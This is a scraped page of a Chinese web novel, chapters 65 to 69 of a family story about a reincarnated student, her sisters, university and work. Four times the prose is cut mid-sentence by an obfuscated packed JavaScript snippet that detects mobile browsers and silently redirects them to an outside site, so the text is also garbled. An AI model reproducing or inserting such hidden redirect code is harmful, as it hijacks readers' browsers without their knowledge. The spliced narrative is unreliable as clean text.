陆易安在视频里看得心急,“哎哟,你不敢查,拿你的准考证号发给我,我帮你查!” “不用!”陆易宁重新做了一次深呼吸。 郑煦要去点她的鼠标,被她一巴掌打开。 “陆七七,我都能考这个分,你肯定是六百五往上,怕什么?” 刘秀珍手压在陆易宁的肩膀上,“考多少都可以,只要能有大学读。” 陆易宁抖着腿,心一横,点进去。 加载了一会儿后,成绩显示出来,六百七十一。 比预估的分数高了几分。 “六百七十一!陆七七,你可以啊!”陆易安在视频里率先喊出来,对室友们说:“我妹考了六百七!” “可以嘞,幺儿。”刘秀珍眼里噙着泪,用力捏着陆易宁的肩膀,“要得嘞!” 陆平说:“这叫要得?这叫很厉害了!” 郑松提议道:“要不我们两家今天晚上去酒楼里吃?” 这个提议得到所有人的同意。 陆果果说:“虽然我的中考成绩只有你的高考分数一半多,但是我可以请你吃你想吃的汉堡。” 陆易宁退出成绩界面,将成绩发给班主任,“好!” 郑煦拍了郑乐悠的后脑勺一掌,“你呢?你打算请你哥吃什么?” 郑乐悠:“屎你要不要吃?” 65.六十五章 志愿填完了,录取通知迟迟没有收到。 睡梦中,陆易宁被陆果果晃醒。 “陆七七,你手机呢?我想登个扣扣。” 陆易宁昨晚熬了夜,五点才睡觉,现在正是睡意最浓的时候,哪怕给她要手机玩的是陆果果,她也没注意。 陆易宁半梦半醒地说:“枕头下面。” 陆果果抬起她头下的枕头找手机,陆易宁有点不耐烦,转了个身,继续睡觉。 梦里,陆果果将她的手机摔坏了。 陆易宁猛地睁眼,房间里只有自己一个人。 刚才陆果果是来找自己要手机玩了吗? 要死要死,第一世她高考后买的第一部手机还没用一个月就被陆果果摔坏,屏幕被砸得稀烂。 陆易宁跳下床,穿上拖鞋跑出房间,“陆果果!手机还我!” 此时的陆果果蹲在楼梯下面,手里碰着钢化膜稀碎的手机,听见陆易宁的声音,心都凉了。 她只想用手机发个动态,动态刚发完,下楼梯时脚下踩空,手机就从楼梯护栏的空格里掉出去,砸在了一楼的地板上。 陆易宁噼里啪啦跑下楼,没有注意到蜷缩在楼梯角落里的陆果果。 在一楼和后院里找了一圈没找到人,去郑家找也没找到, 最后,要去店里时,在马路上看见了偷偷摸摸跑回家的陆果果。 “陆果果,我看见你了,你是不是把我手机砸坏了?” 陆易宁问责的声音传过来,陆果果立马跑回家,把门锁上。 陆果果惊魂未定,“她是怎么知道的?” 手机掉下去的时候,陆果果怕被陆易宁听见动静,特意回房间看了一眼,那时候的她睡得很香啊。 陆易宁敲门的声音响起来,“快开门!你今天死定了!” “我去买汉堡给你吃好不好?”陆果果用力抵着门,“你要喝什么奶茶我都给你买。” “我告诉你,今天无论发生什么,我都要捶你一顿!” 手机提示音突然响了,陆果果打开手机,透过稀碎的屏幕认真看了看,好像是来新消息了。 “谁给我发信息了?”陆易宁敲着门,“你最好现在就祷告,求我的手机屏幕还能看出信息的内容。” “好像是……”陆果果用力眨了几下眼睛,“什么大学的信息?” 大学信息?不会是录取的消息吧? “啊?快开门!”陆易宁不急着骂陆果果了,“我要看是不是我被录取了。” 陆果果把门打开,双手呈上陆易宁的手机。 白花花的屏幕只能看得见下半部分的软件图标,陆易宁只得先忍住怒火,将钢化膜撕开。 原本的手机屏幕也碎了,不过有钢化膜护着,只是有几道长裂纹。 陆易宁点开信息,读了不下三遍。 现在的她连陆果果都不想骂了,陆易宁张大嘴巴,“老果儿,我跟你说我被录取了!” “是第一志愿吗?” “嗯嗯。”陆易宁用力点头。 “啊!!!”陆果果喜得原地蹦跶,“所以今天这个好日子,你就别怪我了呗。” 陆易宁面容和善,收到录取通知,别说搞事情的陆果果了,就是罗伟家她最讨厌的黑狗,今天她都要给面子。 “快去街上给你姐我买炸鸡,我今天不减肥了!” “那……钱呢?”陆果果更进一步试探。 陆易宁脸上的笑意越来越少,“你说呢?快去!” “好嘞!” …… 收到录取通知书的那天,刚好是陆易宁十八岁的生日。郑煦也被东大录取。郑松和陆平在家门口摆放了一排烟花,天一黑,烟花绽放的声音震天响。 八月底,陆易宁去大学报道。 她只让陆平送她到高铁站,她不喜欢坐飞机,打算用铁锭坐七八个小时去浙江。 看见女儿在过安检,陆平偷偷转身擦眼泪。 陆易宁隔着玻璃看着,鼻头一酸,唉,老爹又哭了。 今晚注定是老妈不安生的一晚。 今年育才实验高中的分数线涨到了四百三,陆果果的中考成绩不够,连实验高中都进不去。 她坚决不复读,没办法,刘秀珍只能送她去县里一个比较差的中学。 陆平回到家,小女儿去读高中了,大女儿二女儿去读大学了,家里空落落的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548631|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想喊人端杯水喝都没人了。 此情此景,不禁潸然泪下。 吃午饭时,看见陆易宁喜欢吃的鸡肉,又开始哭了,“唉,我家二女儿,读书从来不需要我操心。上大学的学费都是自己挣的奖金,我这个当爹的,一点事都没能给他做!只能送她去个高铁站!” “陆老三!”刘秀珍哭笑不得,虽然送女儿出门的时候她也流泪了,不过也只是那一会儿,“你有没有一点出息啊?上个大学而已,又不是嫁人了?” 一听到嫁人,陆平的心跟被人抓了一爪似的,“乱说话,她们才多大?” “大学里就开始谈恋爱了。”刘秀珍说:“你看你这个鬼样子,怪不得你陆安安谈恋爱,附近的人都知道,就你不知道!” “哪样啊?” “人家都分手啦!” 陆易安去读大学之前,陆易宁曾经给她透过一嘴,她会在上海的地铁上碰见一个比她小三岁的男生。 陆易安原本是不信的,直到大一上学期期中,她去做兼职,回学校的时候,在地铁上果然被一个长得高,模样俊美的男生要了微信。 陆易宁月考结束,就接到姐姐打来的电话,说自己在地铁上被人要了微信。 陆易宁当时有点蒙,按理说陆易安的男朋友是在她毕业的时候才认识的呀。 她的疑惑第二天就得到了解答。陆易安打电话来说,那个男生加她微信只是想要她的粉底液和眼影链接,他想化妆给男朋友看。 至此,陆易安再也不把目光集中在地铁上。 学校有人跟她表白,看着人模人样的,那就交往试试,结果试试就逝世,对方是个神精,动不动就喊她出去开房。 两人分手,男生吵不赢陆易安,想要动手,反被陆易安狂揍,打进了派出所。 于是,又开始一系列骚操作,男生开始造谣陆易安交往一周花了他十万块,还跟别的男生暧昧! 厕所口长在脸上,什么恶趣味的话都说。 这次,陆易安不忍了,打他自己手还疼,在室友们的帮助下,谣言还没扩大,男生就被警察带走了。 最后,道歉视频在学校官网上被循环播放,男生也被学校劝退。 66.六十六章 陆易宁大学选的主修专业跟前两世一样,与前两世的专业课相比,用的教材不同,学的内容也有所出入,不过大差不差。 陆易宁的大学生活很充实,但是说不上累。 大一上学期期末,陆易宁劝室友买了各种除湿袋干燥剂放进柜子里。 衣柜里的衣服能带走就带走,陆易宁提前将衣服寄快递回家,被子不好带,那就只能装进真空袋抽真空,把它封住。 以防万一,陆易宁用了三个真空袋。 前两世在北方读大学,北方天气干燥,就算上了半个学期的网课,回校后宿舍也是原样,就是灰尘有点多。 南方的湿度跟北方完全是两个极端,时间一长,长霉不说,老鼠都能在床上开宗立派了。 年初,陆平每天打开手机,每天都是疫情新增病例。 有些区域越来越红,风阳镇还好,年过完了都没出现一例。 开学时间越来越近,学校发了春季延迟开学通知。 为了上网课,陆易宁提前买了一台笔记本电脑。 高中生小学生的开学时间也延迟了。 陆果果终于实现了不用去学校就能在家里上课的理想。 只不过在家里上学更恐怖,身为高中生的她在老妈的强权下,白天上完网课,晚上还要上补习班。 这一年,陆平和刘秀珍从房东手里买了现在住的这栋小房子,终于不用再付房租了。 门口的干田也被住在附近的三家人买了,打上了地坪,铺上了水泥。 现在,家门口是一块宽阔的平地。 出太阳时大人们在上面晒玉米粒,晒衣服,晒豆子,小学生们下课之后在上面跳板跳皮筋,非常热闹。 “我真怕了你了!英语你不背单词,数学你不记公式!”陆易宁单手拖住下巴,看着陆果果已经失焦了的大眼睛,想骂也没力气了,“你到底要不要读书的啊?” “要啊!”陆果果点头,“我们老师说学数学不能死记硬背,要靠理解,公式不用背,会推就行!” “那你推一个给我看看。” “我不会啊!” 她说得理直气壮,陆易宁恨不得把她脑袋打散,“那你说得跟会了一样,你到底在学校学了什么?” “学了集合。” “那是第一章的内容!还有呢?三角函数学了吗?” 陆果果想了几秒,“好像学了,不过公式我听不懂。” 楼下的大人们在聊天,黄兰听见陆易宁拍桌子的声音,笑道:“还是陆七七好啊,昨天陆安安教陆果果做英语题时,气得追着她打。今天陆七七也只是拍桌子。唉,能把两个姐姐逼成这样,你家陆果果也挺厉害的。” 刘秀珍磕着瓜子说:“你不懂,我家出了一个陆七七,就要有个陆果果来平衡家运。” 赵倩说:“果果也不是什么都不会,我看她画画很不错啊。要不,让她走艺考这条路呢?” “她姐说过。”刘秀珍摇了摇头,“她不愿意,她说只是个爱好,如果当成一门课学习的话,她都不想画画了。” 陆易宁在草稿纸上写下正余弦的平方和公式,陆果果看了一眼,丝毫不过脑子,“为什么和也等于一?” 陆易宁手上转笔的动作停顿,黑色圆珠笔自指尖掉落至书桌底下,难以置信,“你说呢?你们老师没教过?” “教过,教的是差等于一。” “……” 陆易宁要被逼疯了,跑到门口大喊,“妈,我能不能把你陆果果打死,你和我爸再生一个啊?” 刘秀珍在楼下说:“你打吧!” “哎呀,陆七七,我数学不好,那你就教我别的嘛。”陆果果将数学试卷收好,这种情况她常见,昨天陆易安也很生气,给她买了一杯奶茶就好了。 “教你英语你不学,数学你也不听,我能教什么?” “历史。”陆果果说:“我的历史还不错。而且我以后要选文科,文科的数学简单。” “那玩意儿对你来说再简单也是天书。” 教陆果果数学等于马上去死。 陆易宁花了几个小时的时间整理了自己以前学高中数学看的网课,并且把自己高中时期的数学错题集全部拿给她,让她用自己的电脑看网课学习。 结局是,网课看了,但是看了就是看了,从未在脑子里留下任何印记,印记全在电脑屏幕上。 陆易宁有个周末晚上熬夜看小说,第二天早上醒得比较晚。 一醒来,就看见陆果果守在自己的床前,房间里还有一股浓烈的鸡排香味。 陆易宁眯着眼看向书桌,上面堆满了各种吃的。 汉堡鸡排,热腾腾的羊肉粉,薯片,奶茶…… 怎么回事? 陆果果像是受了委屈的小孩,一脸诚恳地问:“陆七七,今天我要返校了,你要吃什么吗?周末放假给你带。” “你们学校门口的洋芋粑挺好吃的。” “好,我给你带五个!” “等会儿?你今天怎么突然这么反常?” “我是为了答谢你阻止老妈给我睡扁头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555920|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩情呀!”陆果果背着书包站起来,指着书桌上的吃食说:“这是我给你买的早饭,你不要拿给陆安安和郑阳阳吃,我先走了。” “嗯。” 以前在她面前念叨阻止老妈给她睡扁头被打的事,她也没这么懂事啊? 陆易宁目送她出门,其实有这样一个妹妹还是挺好的。 想吃好吃的,她就会去跑腿给你买来。 笨是笨了点,但是世界上的人不可能全部都是聪明蛋吧。 陆易宁伸了个懒腰,拿着奶茶下楼,等洗漱完再喝。 陆易安和郑煦在楼下打王者,看见她提着奶茶下楼,没有说什么。 “这是陆果果给我买的。”陆易宁将奶茶从二人眼前快速晃过,“羡慕吧?” “羡慕?”郑煦头也不抬,“你还是先去看看你电脑成什么样了。” “什么?” 陆易安说:“就是陆果果做的。” 陆易宁跑回客厅,郑乐悠在用自己的电脑看《熊出没》,而电脑的屏幕的右下方已经黑了屏,几道裂纹逐渐延伸至左上方才消失。 “陆果果!!” 公交车已经到站,陆果果下了公交,后背一凉。她抬头望着上空的蓝天白云,入春天气回暖,现在还出着太阳呢,不应该呀! 陆易宁心都在滴血,她的新电脑啊,电脑换屏幕差不多要一千块啊! 怪不得陆果果今天这么听话,不用跑路费就去给自己买吃的。 游戏结束,陆易安把手机放在凳子上散热,“陆七七,我饿了,我上楼把你的羊肉粉吃了哈。” 郑煦说:“顺便帮我把黄瓜味的薯片扔下来。” 陆果果简直成了电子杀手,手机电脑没用多久就折在她手里。 陆易宁后来买了一个平板,清明放假回家没有智能手机玩的陆果果再一次盯上了这个宝贝东西,不过陆易宁不允许她碰。 早上二姐在睡觉,她蹑手蹑脚地走到陆易宁的床边,从枕头底下把平板拿出来。 她了解陆易宁,陆易宁的密码向来就只有那两个。 陆果果抱着平板走到阳台上,摁亮屏幕,陆果果一看,差点吓一跳。 平板的壁纸是一个握紧并冲向外面的拳头,上面赫然写着一串黑色加粗的字——陆果果is prohibited from touching我的平板! 陆果果不明白什么意思,输了两次密码都没成功,只好拿着平板下楼去问郑煦短语的意思。 很好,平板没玩上,学了一个固定搭配。 67.六十七章 四月底,陆易宁返校。 她的床铺算好的,被子外面的真空袋没有漏气,除了床板发了霉,就没什么了。 有个室友被子霉了不说,床上还结了不少蜘蛛网,近视眼的她收蚊帐时把蛛网看成了蚊帐,被蛛网敷了一脸。 大二,陆易宁申请修读双学位,工科专业本来就课多,一周下来,课程排到晚上去了。 期末考试周难熬,平日里稍微好一点。 一天跟个陀螺一样到处转,所幸本专业的大部分知识前两世学过一遍了,上一世考研虽然复试没过,但是笔试准备也将核心专业课学了一遍,这一世之前也在网上提前复习了一轮,进入大学再学,倒是不怎么难。 疫情渐渐放开了,暑假回家,陆易安和陆平同时备考驾照。 陆平会开车,但是文化水平不高,考科一对他来说很难办,所以他准备了两年多。两年时间内,三个女儿齐上阵教他做题。 结果是小学没毕业的老爹科一稳过,陆易安居然栽在了科一上面。 陆平比陆易安早一步拿到驾照,家里也买了一辆车。 大二上学期,陆易宁也跟在陆易安身后去考驾照。 陆易安科一挂了,第二次考试成功后,科二至科四满分通过。 陆易宁科二考了两次都没过,教练说她上车如同乌龟进龟壳,开个车跟做贼似的,第三次她干脆换了个驾校,不在省内考,考过了。 大三上学期寒假,学校放假时间比较晚,陆易安学校的考试周来得早,十二月底就已经到家了。为了显摆一下车技,她主动接下了去车站接妹妹们回家的任务。 县城与小镇的公交专线已经开通,陆易安特意交代陆果果和陆易宁不要坐公交车回来,她要去开车去接她们。 陆易宁背着行李包在车站外面等了半个小时,她才开着车过来。 “上车。” 陆易安打开副驾驶的车窗和车门。 “你去哪了?现在才来?”陆易宁冷得哆哆嗦嗦地去开车门,“我快被冻死了。” “去接陆果果了。”陆易安的大拇指往后指,陆易宁看过去,只看见陆果果用力抓着安全带,对陆易安的不信任全写在脸上。 陆易宁系上安全带,扭头问陆果果,“你怎么不坐副驾驶啊?” 陆果果瞪着陆易安的侧脸,“如果可以的话,我想下车去坐公交。” “滚!”陆易安简单粗暴,“走咯!” 车站附近的路比较好走,前几分钟陆易宁倒是没什么感觉,可是后续的路开始拐弯了,没一会就拐一个弯,一会儿上坡一会儿下坡的,陆易安嘴里哼着小曲儿,看起来十分得心应手,陆易宁坐在副驾驶,忍不住拉着安全带,“大姐,你能不能用个比较正常的速度开车啊!一会慢一会儿快的,我都快吐啦!” “这路就这样。”陆易安自信地说:“我告诉你,我的车技我室友们都说好。别人开车他们睡不着,我开车很稳,她们都睡得很舒服。” 不知怎的,陆易宁心有点慌了,“上海的路平你不知道啊?” “上海的陆平我不知道。”陆易安没心没肺地笑,“老爸我知道。” 陆易宁:“……” 二十分钟后,陆易宁十分感谢自己上车时将座椅往后调了一截的决定。 万幸整条道旁边没有高坎大土坡,全是村民的土地,就算翻车也不会出太大的意外。 陆易安成功将车子开掉进进别人家的土地里,差一点就要开到种白菜的区域了。 刘秀珍打来电话,陆易安蹲在车门旁边,在思考该怎么向老妈报备,手机铃声里的小孩子笑声断断续续的。 刘秀珍:“你们到哪了?” 陆果果给水沟旁边的陆易宁送了纸,走过来说:“陆安安把我们送到人家菜地里了。” 她的声音很大,路上有三辆车经过时特意停下来看她们,得知没有出事,就走了。 陆易安不得以打开微信视频,将车子所在的位置拍进去。 刘秀珍和陆平同时松了一口气,还好没翻车。 陆平在视频里焦急地问:“你妹呢?” 陆易安将手机对准正在沟边呕吐的陆易宁,“她有点晕车,吐了。” 最后,是郑煦开着郑松的车来接的人。 郑煦看见三人,第一句就是嘲讽,“陆安安,你不是说你开车的天赋很高,科二科三一次就过吗?” “我那是路上有水,打滑的。” 当初郑煦考科二没过,陆易安可是天天嘲讽他。 陆易宁漱了口,还是有点晕,这次又是坐在副驾驶的位置上。 “吃颗糖缓缓。”郑煦递给她两颗苹果味的果糖,陆易宁的包里有,懒得打开包拿,随手接过。 隔壁的那张嘴又开始了,“陆安安车技不行,你又不是不会开车?” 陆易安在后面不耐烦地说:“都说了是路上滑!” “如果你敢的话,剩下的路让我来开!”陆易宁系上安全带,“我保证会开得很好!” “算了,到时候来接我的怕只能是我爸的挖挖机了。” 考了驾照又如何,陆易宁是从来不敢上路的。 …… 陆易安不死心,她开了那么多次车,偏偏就折在风阳镇到高铁站的这段路上。 不行,她省内的驾照可不是白考的。 于是,陆易宁大三放暑假回家时,她又开着车来了。 陆易安大四基本都在实习,碰上个不给实习生转正,拿人当畜生使结果还不发工资的公司,告了两个月才把工资要回来。 得到工资后,陆易安就回家了。 她只是暂时回来修整一会儿,在上海租的房子没有退,肯定要回去。 等公交的人太多,陆易宁本来是想打出租车坐回家的,才出了车站,就看见陆易安在马路对面朝她招手。 车站外面的三辆出租车不是客满就是去县城的,陆易宁果断选择往回跑,去公交站点坐公交。 “陆七七!” 陆易安的声音飞过来,没一会人也跑过来了。陆易宁跑路跑到一半,被揪着回去坐车。 “我开车的技术好多了,你怕什么?”陆易安拽着她的袖子往马路上走,“我实习公司里的那个上司,嘴巴跟淬了毒一样,我做什么他都不满意,偏偏我开车的技术他没话讲。” 陆易宁生无可恋地坐上车,“你上次也是这样说的。” “上次是我对老爸的这辆车不熟,我没怎么开过。” “你上次不是说是路上有水,车子打滑吗?” “所以啊,有两个原因。”陆易安启动车子,手伸到陆易宁的鼻子前面,“老妈做了薄荷排骨,土豆炖牛腩。我拿排骨吃的时候没洗手,特意留给你闻的。” 陆易宁打开她的手,“我服了你了,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555921|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开车!” 一路上,陆易安又开始向陆易宁吐槽狗公司有多恶心,今年的实习生除了关系户,就一个天天来上班给领导带咖啡的实习生转正了。 陆易宁想到她第一世的经历也是这样,不过她去的第二家公司还不错。 “你不是考了BEC吗?”陆易宁说:“要不,你试一下外企?” “投了,没下落。” “会有的。” 如陆易宁说的那般,没几天,陆易安就收到了两家公司的面试邀请。 刚躺平没几天的她,原本打算给陆果果查高考成绩的,又急忙买机票回上海。 陆果果今年高考,全家人只希望她的分数能够读个好一点的专科。 晚上查成绩,陆易宁坐在电脑前,提前打开查分系统等着。她就在床上抱着自己的新手机,不知道在玩些什么。 陆易宁瞥了她一眼,“陆果果,你觉得你能考多少?” “三百八。” 陆易宁心里默默叹气,第一世的她还真是考了三百八,不知道这一世有没有奇迹出现。 时间到了,陆易宁输入她的准考证号,查分的人太多,系统崩了。 陆易宁刷新了无数次,陆果果也在屏气凝神地盯着手机屏幕。 分数刷出来了,陆果果四仰八叉地躺睡在陆易宁的床上,崩溃地啊了一声,“又没抢到。” 无可救药了。 最近陆果果在抢姜芮发的个人限量新专辑,找了三个朋友一起抢都没抢到。 陆易宁恨铁不成钢地摇了摇头,她有点后悔以前偷偷给陆果果买姜莱的那些专辑小卡了。 真想回学校后,全部倒卖给别人算了。 陆易宁看向电脑屏幕,奇迹没有发生,她的成绩依旧是三百八十三,而且是文科。 “你考了三百八十三。”陆易宁说。 “哦。” 陆果果开始和室友们互发分数,几分钟后才放下手机,跳下床走到电脑前看了一遍自己的成绩,面色平静地说:“唉,我就是学不会啊。” “不过我室友这两年天天看你给我的那些数学错题集,她过本科线了,数学还考了一百一。” 陆易宁:“……你也算是积点德了。” 陆果果的高考分数是这一带高考生中比较差的,高考成绩一出来,家长们都在忙着和孩子准备填报志愿的事,就陆果果一点打算都没有。 复读,绝对不可能,她知道自己没那个能力,读十年也是那样。 裁缝店里,赵倩在一旁吃西瓜,刘秀珍在盘点布料。 赵倩想到陆果果填志愿的事,“果果没过本科线,是不读了,还是要复读或者是去读专科?” 刘秀珍说:“管他本科专科只要她想读,我就让她一直读下去。不过我看她那样,是不想复读的。” “可是这年头本科生都难找工作,专科生会更难啊。” “唉,那也没办法啊。”刘秀珍了解自己的女儿,面上看起来没心没肺的,其实学不会,考不好,她心里也难受也自责。刘秀珍将手里的布料挂在架子上,“她想读,就读呗。我才不想让她高中一毕业,就在家门口看见村里讨不到媳妇的光棍。” 她十七八岁的时候,只能等男人找上门,然后结婚生孩子。见过的世面小,只能这样。 学校里教得多,城市里的选择多,女儿出去看看,选择面也广。 68.六十八章 陆果果的高考分数不高,最后进了省内的一所专科院校。她的选择不多,在护理和学前教育两者之间选了学前教育。 大四,陆易宁没有选择考研。每天无非是做实验写论文,做主修专业的实验,写二专的论文。除此之外,还要忙着就业。 她向前两世入职的公司投了简历,不同的是,这一次的offer是公司的总部发的,以后上班需要去江苏,没法回栾安基地。 目前来说,一切都很顺利。 六月初,论文答辩结束,公司offer到手,陆易宁就在等学校发毕业证书和学位证书。 这段日子是最惬意的时光,无聊的时候就在宿舍里收拾一下行李寄回家,偶尔和室友们出去聚个餐,去逛一下食堂。 离校头一天,大部分行李都被寄回家了。 陆易宁和一个室友去食堂吃完在学校的最后一餐,室友出了食堂又折返回去买甜点,陆易宁就站在食堂门口的阴凉地里等她。 现在是饭点,下午最后一节课下课之后,学生们陆陆续续来到食堂。 陆易宁尽量远离食堂大门,站在最边上,在杂乱的吵闹声里,陆易宁听出了最为清晰的一道声音。 “李圆圆,这里!” 这句话来自于一个女生,陆易宁回头透过玻璃门看向食堂内部,她的视线前方人头攒动,早已被来往的人挡住声音的来源。 室友买完甜点出来,“走了,我在这,你往里面看什么呢?” “没什么。”陆易宁打开遮阳伞,走了几步路后,再一次回头看向食堂。 或许是同名吧。 “帮我拿一下。”室友将甜品包装袋挂在陆易宁的左手上,掏出手机,将手机屏幕调到最亮,递到陆易宁眼前,“你看!” 手机里显示的是一张精致的古风插画,画上的女子于幽暗山洞内仰望洞口天光,下身裙摆似墨溶于黑暗,上身白衫轻柔,充满神性。 室友是个小说迷,激动地对陆易宁说:“你看看,圈大给我最爱的小说画的插画。” 她口中的圈大是她最喜欢的画师,陆易宁看着她手机上的插画说:“那挺好,最喜欢的画师画了你最喜欢小说女主。” “圈大出名到现在,只画过两本小说的插画,据说这次还是因为她也喜欢这本小说,才接的稿。” 陆易宁撑伞慢慢走着,“万一是没钱用了呢?” 之所以这样说,不无原因。室友口中的画师Circle以前就是靠便宜起家的。她前期接稿的费用低,出图的质量又高,逐渐有了名气后,不停地接单。粉丝们怕她累死又怕她饿死,还在她的社交平台的评论区里开玩笑,劝她将费用订高一点。 “现在没这个可能啦。”室友说:“她现在有名了,一幅画稿的费用应该能够她吃挺长一段时间。” 陆易宁想到了陆果果,那家伙也会画点画,不过画的是姜芮的萌版娃娃图。 听她吹牛说她画的同人图在粉丝圈里挺火的,这一点陆易宁并没有求证。 去公司报道的日期在七月,陆易宁回宿舍,收拾好为陆果果备了几年的礼物,准备明天回家。 陆果果六月二十号才放假,她放假回家从来不会带任何行李,一个书包就完事。 为了让她有点放假回家的样子,陆易宁提前给她发了一份购物清单。 陆果果收到清单后没一分钟就打电话来向陆易宁进行亲切的问候,“你怎么懒成那样,走几步路上街拿个快递很难吗?还要吃那么多的东西,我没钱!我也没力气!坐高铁很累!” 陆易宁:“我这有姜芮典藏版的小卡和写真集,还有亲签。” 陆果果本来不信,她二姐最看不惯她追星了,直到对方发来照片,不信也得信了。 “陆七七,我回来啦!”陆果果一到家,在楼下没看见人,立马跑去二楼。 陆易宁在收拾这几年给她买的东西,姜莱是两年前才大火的,在她火之前,她们团每次回归的专辑,周边压根不用抢,数量也少。 陆易宁在二专的课上认识了一个韩国留学生,她买了一瓶茅台给留学生朋友,留学生朋友回国之后帮她买专辑,毫不费力。 直到现在,她买的一些周边甚至成了典藏款。 足足有一箱子。 陆果果将手里提着的零食放在陆易宁的床上,腾出手捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561429|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着姜芮的人形玩偶差点跪下来,“我靠,你连这个玩偶都有!你知道这个现在连买都买不到吗?” “啊!!!三专的卡!!这张卡当时无人在意,我有次在网上看见有个人卖,你知道卖了多少钱吗?上千啊!” 陆易宁喝着奶茶说:“你再往里面翻翻!” 陆果果把姜莱在高铁站送给陆易宁的玩偶拿出来,“靠!卷卷羊!这你都有!” 陆易宁提醒道:“你看一下脖子上的那张卡片。” “嗯……”陆果果有点嫌弃了,“虽然……这个玩偶姜姜很喜欢,但是呢,你不觉得你在上面乱写字有点破坏了意境了吗?” 陆易宁:“这是人姜芮亲自写的!” “她写留言用原名吼?骗谁呢?” 陆易宁把玩偶抢过来,“滚!不要我自己留着。” “要!怎么不要!”陆果果笑的癫狂,“没想到我抠抠搜搜追个星,居然能有这么富裕的一天。这些东西你是在哪搞来的?还都是真的!” “我室友不要,转手卖给我的。”陆易宁指着她手里的绵羊玩偶,“除了这个,这是我高二那年去市里参加演讲比赛,在高铁站碰见姜芮,她低血糖,我送了一杯奶茶给她,她回赠我的。” “又乱编了吼!”陆果果压根不信,“你买的就是你买的嘛,多少钱,我给你。” “一千。” “我没有,不给了。” 陆易宁:“……” 绵阳公仔在陆果果的桌子上摆了半年,她只当它是难买到的姜芮同款。直到有一天,她看姜芮的综艺,看见正主在综艺里说到自己在高铁低血糖,差点晕过去,有一个女同学好心拿了奶茶和面包给她的事。 姜芮说暖心的是她还知道了自己有一个小粉丝,并且回赠了一个玩偶给她。 陆果果飞奔至二楼,重新看了一遍姜芮写给她的祝福语,原来姜芮早在自己认识她之前就知道自己了。 陆易宁一下班,就收到陆果果的语音轰炸,问的无非是她说在高铁站遇到姜芮的事。 陆易宁随口敷衍道:“我当时觉得她长得像艺人,所以就误打误撞要了一个to签。” 69.六十九章 将近三年的时间,陆易宁在公司里终于升到了工程师的职位。她特意申请到公司里的栾安生产基地工作。 本以为这一次升到工程师了,能有点话语权,结果碰上前两世那群打太极的同事领导,职位高点也没用。 生产经理说产线老化,会建立新产线,也只是口头上说一下。 每次交上去购买新设备的报告,得到的批准是修理旧设备,申请修理设备,就是随便找个人看一下老化的设备,能修就修,不能修就将就用着。 对员工进行再多安全操作培训也没用,一道赶工命令下来,什么操作规程,加班加点用尽最快的速度生产才是主要的。 上面的人既要员工安全生产,又要员工大量生产,跟产量比起来,安全就是次要的。 为缩短原料运输时间,生产原料尽量储存在离产线进的地方。 储存仓库不符合原料储存条件?只要抓紧用于生产,就没有储存条件这一说。 同级只听上面的吩咐,陆易宁向上反应,压根没人理,同事们反倒觉得她事儿。 这个时候再不走,这一世很可能又要被炸了。 过完年,陆易宁就辞职了,留几个月的时间来全力备考。 什么工程师,不当了,当技术员没话语权,当工程师除了研发工艺也没什么话语权,还不如去考公务员。 她早知道公司那群人的尿性,也知道自己人微言轻,所以为了考公每天下班回到出租屋都在学习,一年了,剩下的这几个月备考也不至于太累。 她辞职备考,父母没什么反对的。 陆平很支持她,刘秀珍反而有点担心。 她不担心女儿的智商,只是女儿每天熬大夜,第二天中午才起,能考得上公务员吗? 陆易宁这段时间每天晚上才有精气神,晚上学习,玩手机,白天睡觉。起得最早的一天还是因为做梦梦见没洗碗,被梦里老妈的骂声吓醒,这才八点半起来赶紧把水槽里的脏碗洗了,又回去接着睡。 今天早上老妈去店里之前说了什么来着? 快十二点了,陆易宁才起床。又做了没给老妈做午饭,被老妈骂的梦了。 陆易宁洗漱完,去厨房转了一圈,刘秀珍早上敲她的门说让她中午削点土豆来炒土豆丝。 